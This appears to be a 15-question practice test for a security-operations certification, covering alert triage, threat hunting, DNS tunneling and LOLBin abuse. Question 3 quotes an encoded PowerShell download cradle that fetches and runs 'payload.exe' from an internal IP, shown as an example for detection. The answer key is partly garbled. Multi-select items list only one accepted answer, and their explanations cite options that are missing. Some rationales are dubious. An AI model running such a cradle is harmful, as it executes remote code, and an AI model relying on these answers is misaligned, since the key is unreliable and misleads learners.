CS0-003 Security Operations Practice Test 9 — 15 Questions

Question 1

A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from an internal IP address. The username used does not exist in Active Directory. The analyst checks the source IP and finds it belongs to a known vulnerability scanner. What classification should the analyst assign to this alert?

Accepted Answer

False positive. The alert was triggered by a known vulnerability scanner attempting to enumerate usernames. This is expected behavior and not malicious, so it is a false positive.

Answer

False negative

Answer

True positive

Answer

True negative

Question 2

During a network traffic analysis, a security analyst notices a host communicating with an external IP address over TCP port 443 using a self-signed certificate. The traffic flows are consistent in size and occur every 60 seconds. The external IP is not on any threat intelligence feeds. What does this pattern most likely indicate?

Accepted Answer

Command and control beaconing. Regular, periodic connections of consistent size to an external host over HTTPS suggest beaconing, often used by malware for command and control.

Answer

Lateral movement attempt

Answer

Data exfiltration via DNS tunneling

Answer

Normal web browsing

Question 3

An EDR agent reports that the process 'svchost.exe' spawned 'powershell.exe' with the command line: 'powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQA='. Which of the following is the most appropriate classification for this activity?

Accepted Answer

True positive - likely malicious activity using a LOLBin. The encoded command decodes to 'IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.10/payload.exe')', which is a download cradle. Svchost.exe spawning PowerShell with such a command is highly suspicious and indicative of a true positive.

Answer

True positive - but only if the IP is confirmed malicious

Answer

False positive - encoded commands are used by system administrators

Answer

False positive - svchost.exe commonly launches PowerShell for legitimate tasks

Question 4

A security analyst is tuning a SIEM correlation rule that generates alerts when a single user logs into more than 10 workstations within 5 minutes. The rule is producing excessive false positives due to service accounts performing automated tasks. Which of the following is the best tuning approach to reduce false positives while still detecting potential lateral movement?

Accepted Answer

Add an exception for known service account names. Excluding known service accounts from the rule reduces false positives while still detecting lateral movement by user accounts.

Answer

Change the time window to 10 minutes

Answer

Increase the threshold to 20 workstations

Answer

Disable the rule and rely on manual log review

Question 5

During a vulnerability scan of an internal web server, the scanner reports a critical vulnerability with a CVSS score of 9.8. The server is behind a WAF that blocks the attack vector. The system owner states the vulnerability is not exploitable due to the compensating control. Which of the following is the best next step?

Accepted Answer

Document the finding and accept the risk with the compensating control. If a compensating control mitigates the risk, the vulnerability can be accepted as a false positive in the scanning context, but it should be documented and the control verified.

Answer

Re-run the scan with a non-credentialed profile

Answer

Ignore the vulnerability and close the finding

Answer

Immediately patch the server during business hours

Question 6

A security analyst is investigating an alert from AWS GuardDuty that indicates an EC2 instance is communicating with a known malicious IP address on port 4444. The analyst checks the VPC Flow Logs and confirms the traffic. Which of the following is the most appropriate immediate action?

Accepted Answer

Apply a restrictive security group to isolate the instance. Isolating the EC2 instance by applying a restrictive security group stops the malicious communication and allows further investigation.

Answer

Create a new IAM role for the instance

Answer

Terminate the EC2 instance immediately

Answer

Update the route table to blackhole the traffic

Question 7

A threat hunter is reviewing osquery data from endpoints and notices that the Windows Registry key 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' contains an entry for 'C:\Users\Public\svchost.exe'. Which of the following best describes the significance of this finding?

Accepted Answer

Suggests persistence via a malicious binary masquerading as svchost.exe. The Run key is a common persistence mechanism. An executable named svchost.exe in a non-system directory is suspicious and likely malicious.

Answer

Confirms a false positive because svchost.exe is always legitimate

Answer

Indicates a scheduled task has been created

Answer

Indicates a legitimate application installed for all users

Question 8

A security analyst uses Wireshark to capture traffic and notices an unusually high number of DNS queries for random-looking subdomains under a single domain, such as 'a1b2c3.malicious.com'. The TTL values are very low. The analyst suspects DNS tunneling. Which of the following additional indicators would most strongly support this hypothesis?

Accepted Answer

DNS queries with unusually large TXT record response sizes. DNS tunneling often uses TXT records to encode data, and the packet sizes can be larger than normal DNS queries.

Answer

Large number of NXDOMAIN responses

Answer

High number of A record queries

Answer

Queries originating from a DNS server

Question 9

An organization wants to perform vulnerability scanning on internal servers that contain sensitive data. The scanning team is concerned about causing service disruptions. Which type of scan should be recommended to minimize risk?

Accepted Answer

Non-credentialed scan. Non-credentialed scans are less intrusive and less likely to cause service disruptions because they do not log into the target systems.

Answer

Agent-based scan

Answer

Credentialed scan with safe checks enabled

Answer

External scan from the internet

Question 10

A security analyst is reviewing an alert from a CASB that shows a user downloading a large volume of sensitive data from a cloud storage application to a personal device outside of business hours. The user's behavior is atypical. Which of the following is the most likely interpretation?

Accepted Answer

Indicates a compromised account being used for data exfiltration. Atypical data download from a cloud service to a personal device outside business hours is a strong indicator of data exfiltration.

Answer

True positive - but only if the user has been phished

Answer

False positive - the user is working overtime

Answer

Indicates a misconfigured CASB policy

Question 11

During a threat hunting engagement, a hunter creates a hypothesis that adversaries may be using PowerShell to perform reconnaissance via Active Directory cmdlets. The hunter decides to look for events where PowerShell loaded the ActiveDirectory module. Which of the following detection techniques is most appropriate?

Accepted Answer

Create a SIEM correlation rule that triggers on Event ID 4104 (PowerShell Script Block Logging). Sigma rules are designed for log-based detection and can be used to detect module loading events across multiple log sources.

Answer

Perform a packet capture to analyze PowerShell network traffic

Answer

Deploy a YARA rule on endpoints to scan for malicious PowerShell scripts

Answer

Use osquery to query running PowerShell processes

Question 12

A threat hunter analyzes NetFlow data and observes a host communicating with multiple external IP addresses on high-numbered ports (e.g., 49300-49500) during off-hours. The communications are short-lived and occur in burst patterns. The hunter suspects data exfiltration. Which of the following analysis techniques would best confirm or refute this suspicion?

Accepted Answer

Perform a full packet capture on the host's traffic. Full packet capture allows deep inspection of payloads to identify if data is being exfiltrated, as NetFlow only provides metadata.

Answer

Correlate with authentication logs to see if the user is logged in

Answer

Check the host's registry for persistence mechanisms

Answer

Review DNS logs for domain generation algorithm patterns

Question 13

A security analyst is investigating an alert from Azure Sentinel that indicates a user account has logged in from a geographically improbable location. The analyst needs to determine if this is a true positive. Which TWO additional data sources should the analyst examine? (Choose TWO.)

Accepted Answer

Authentication logs to verify the source IP and timestamp. Authentication logs show the source IP and timestamp, and threat intelligence can reveal if the IP is known malicious. Device compliance may be irrelevant, and VPN logs could explain the location.

Answer

Cloud audit logs for the user's recent activity

Answer

VPN logs to see if the user connected via a VPN

Answer

Device compliance status of the user's endpoint

Question 14

A security analyst is creating a SIEM correlation rule to detect lateral movement using pass-the-hash attacks. The rule should trigger when multiple successful logins occur from a single source to multiple destinations using NTLM authentication. Which THREE log sources are essential for this rule? (Choose THREE.)

Accepted Answer

Windows Event ID 4776 (NTLM authentication) logs from domain controllers. Windows Event IDs 4624 (successful logon) and 4776 (NTLM authentication) are key. Authentication logs on domain controllers also capture NTLM events.

Answer

DNS logs from the internal DNS server

Answer

Firewall logs showing outbound connections

Question 15

A security analyst is investigating a potential advanced persistent threat (APT) that uses living off the land binaries (LOLBins). The EDR has flagged several processes. Which THREE process behaviors are most indicative of LOLBin abuse? (Choose THREE.)

Accepted Answer

mshta.exe executing JavaScript from a remote URL. LOLBin abuse often involves using native tools in unusual ways: wmic for remote execution, mshta for executing malicious scripts, and certutil for downloading payloads. Bitsadmin is also used, but it's less common.

Answer

explorer.exe opening the Start menu

Answer

notepad.exe opening a .txt file in the user's Documents folder